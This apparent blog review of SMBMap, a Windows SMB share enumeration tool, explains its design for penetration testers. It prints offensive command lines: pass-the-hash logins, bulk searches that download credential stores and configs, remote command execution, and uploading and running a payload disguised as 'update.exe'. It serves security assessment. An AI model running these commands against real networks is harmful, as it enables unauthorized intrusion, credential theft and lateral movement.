Back to Articles

SMBMap: The Penetration Tester's Swiss Army Knife for Windows Share Enumeration

[ View on GitHub ]

SMBMap: The Penetration Tester's Swiss Army Knife for Windows Share Enumeration

Hook

In a world where ransomware operators routinely map entire corporate networks in under an hour, the same tools they use for reconnaissance are freely available on GitHub—and security professionals need to master them first.

Context

Windows Server Message Block (SMB) shares remain one of the most persistent attack vectors in enterprise networks. Despite decades of security improvements, misconfigured shares continue to leak sensitive data, provide lateral movement paths, and serve as initial footholds for attackers. Traditional enumeration required cobbling together multiple tools—smbclient for browsing, rpcclient for user enumeration, mount commands for file access—each with different syntax and authentication methods.

SMBMap emerged from the penetration testing trenches to solve a practical problem: security assessors needed a single tool that could quickly answer critical questions across dozens or hundreds of hosts. Which shares are accessible? What permissions do compromised credentials grant? Where are the sensitive files? Built atop the Impacket library's robust SMB implementation, SMBMap provides a Python-based command-line interface that consolidates reconnaissance, enumeration, and light exploitation into one workflow. Its 2,000+ GitHub stars reflect its adoption by red teams, penetration testers, and security researchers who need efficient SMB reconnaissance without the overhead of full frameworks like Metasploit.

Technical Insight

credentials + target

cleartext/hash/kerberos

SMB connection

authenticated session

remote session

share list + permissions

recursive file listing

pattern matching results

command output

host file

download files

CLI Interface

Authentication Handler

Impacket SMBConnection

Share Enumerator

File Operations

Command Executor

Results Output

System architecture — auto-generated

SMBMap's architecture revolves around the Impacket library's SMBConnection class, which handles the low-level details of SMB protocol negotiation, authentication, and command execution. The tool supports three authentication modes that mirror real-world attack scenarios: cleartext passwords (the baseline), NTLM hash passing (for credential reuse attacks), and Kerberos tickets (for domain environments). This flexibility makes it particularly powerful during post-exploitation when you've obtained hashed credentials but haven't cracked them.

The basic enumeration workflow demonstrates the tool's design philosophy—maximum information with minimal commands. Running SMBMap with just credentials and a target immediately enumerates all accessible shares, their permissions, and available disk space:

# Basic authenticated enumeration
smbmap -u 'administrator' -p 'Password123!' -d CORP -H 192.168.1.50

# Pass-the-hash attack using NTLM hash
smbmap -u 'sqlservice' -p 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' -H 192.168.1.50

# Enumerate multiple hosts from file
smbmap -u 'backup' -p 'BackupPass2023' -H hosts.txt

The output format is deliberately concise, showing share names, permissions (READ/WRITE/NO ACCESS), and comments in a tabular format that's easily grep-able for scripting. This makes SMBMap ideal for reconnaissance phases where you're processing results programmatically.

Where SMBMap truly differentiates itself is recursive file enumeration with pattern matching. The tool can traverse entire share hierarchies looking for specific filenames or extensions, downloading matches automatically. This capability transforms what would be hours of manual browsing into a single command:

# Find and download all files matching patterns
smbmap -u 'administrator' -p 'Password123!' -H 192.168.1.50 \
  -r 'C$' --search-path '.' \
  --search-pattern '*.xlsx|*.config|*.kdbx' \
  --download-search

# List all files recursively on a specific share
smbmap -u 'user' -p 'pass' -H target -R 'Backup' --depth 10

The search implementation uses Python's fnmatch module for glob-style pattern matching, walking the SMB directory tree recursively while respecting the specified depth limit to prevent infinite loops from symbolic links or deep hierarchies. Each matched file is queued for download with full path preservation, maintaining the directory structure locally for later analysis.

For command execution, SMBMap supports both WMI and PSExec-style execution, with the ability to pipe command output directly to your console. The implementation leverages Impacket's DCE/RPC bindings to interact with Windows Management Instrumentation remotely:

# Execute command via WMI and retrieve output
smbmap -u 'administrator' -p 'Password123!' -H 192.168.1.50 \
  -x 'whoami /all'

# Upload and execute a binary
smbmap -u 'admin' -p 'pass' -H target \
  --upload '/local/payload.exe' 'C$\Windows\Temp\update.exe' \
  -x 'C:\Windows\Temp\update.exe'

The most sophisticated feature—though admittedly experimental—is distributed file content searching. SMBMap can deploy PowerShell scripts across multiple hosts to search inside file contents for patterns like passwords, API keys, or connection strings. This works by uploading a PowerShell script to the ADMIN$ share, executing it remotely, and retrieving results:

# Search file contents across network
smbmap -u 'administrator' -p 'Password123!' -H hosts.txt \
  --content-search 'password=|api_key=|BEGIN RSA' \
  --search-path 'C$\inetpub\wwwroot'

Under the hood, this generates a PowerShell script that uses Select-String (PowerShell's grep equivalent) to search file contents, handles large result sets by streaming output, and cleans up temporary files. The implementation requires administrative access since it writes to ADMIN$ and executes code remotely—a realistic constraint for this type of deep enumeration.

The authentication flow deserves special attention for security practitioners. SMBMap handles Kerberos authentication by integrating with the system's Kerberos cache, allowing it to use tickets obtained through other means (like Mimikatz or Rubeus). This is particularly useful in Active Directory environments where NTLM might be disabled but Kerberos tickets are available:

# Use Kerberos authentication (requires valid TGT)
smbmap -u 'user@CORP.LOCAL' -k -d CORP.LOCAL -H dc01.corp.local

The tool checks for cached credentials in the standard locations (/tmp/krb5cc_* on Linux) and falls back to requesting a new ticket using the provided password if no valid cache exists. This seamless integration with Kerberos infrastructure makes SMBMap effective in modern, security-hardened environments where legacy protocols are disabled.

Gotcha

SMBMap's greatest strength—its comprehensive feature set—is also its weakness. The author openly acknowledges that features aren't thoroughly tested and bugs emerge during actual penetration testing engagements. This development model means you're essentially beta testing in production. The Kerberos support, labeled 'super beta,' can fail unpredictably with cryptic error messages that require deep understanding of both Kerberos and the Impacket library to debug. I've encountered situations where authentication succeeds but share enumeration returns empty results due to timing issues with SMB version negotiation.

The file content search functionality, while powerful in concept, has significant operational constraints. It requires administrative privileges, relies on PowerShell being available and unrestricted on targets, and generates considerable network traffic and disk I/O that can trigger security monitoring. More problematically, the temporary PowerShell scripts aren't always cleaned up on error conditions, leaving forensic artifacts. In production assessments, I've had to manually clean up dozens of orphaned .ps1 files from ADMIN$ shares after failed searches. The tool also lacks rate limiting or threading controls, so searching across hundreds of hosts simultaneously can overwhelm both your system and the network.

Dependency management presents another practical challenge. SMBMap requires specific Impacket versions, and version mismatches cause cryptic import errors or authentication failures. The tool hasn't kept pace with Impacket's API changes, meaning you often need to pin specific versions rather than using the latest. Error handling is minimal—failed connections don't distinguish between incorrect credentials, firewall blocks, or protocol negotiation failures, all reporting generic timeout errors that require manual investigation.

Verdict

Use SMBMap if you're conducting security assessments of Windows networks and need rapid, comprehensive share enumeration across multiple hosts with varied credential sets. It excels in scenarios where you've compromised credentials (especially NTLM hashes) and need to quickly map what access they provide across the environment. The pattern-based file searching is invaluable for finding low-hanging fruit like configuration files, database backups, or credential stores without manual browsing. It's particularly strong when you need scriptable output for integration with automated assessment pipelines or when working with large host lists where manual enumeration isn't feasible. Skip it if you need rock-solid reliability for critical operations, require production-grade error handling, or are working in highly monitored environments where the experimental content search features could trigger alerts or leave forensic artifacts. For simple one-off queries, native smbclient provides more stability. For comprehensive network-wide assessment with better module support and active development, CrackMapExec is the more mature choice. SMBMap occupies the sweet spot between simplicity and power, but that comes with the rough edges of a tool developed in the field rather than in a test lab.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/shawndevans-smbmap.svg)](https://starlog.is/api/badge-click/developer-tools/shawndevans-smbmap)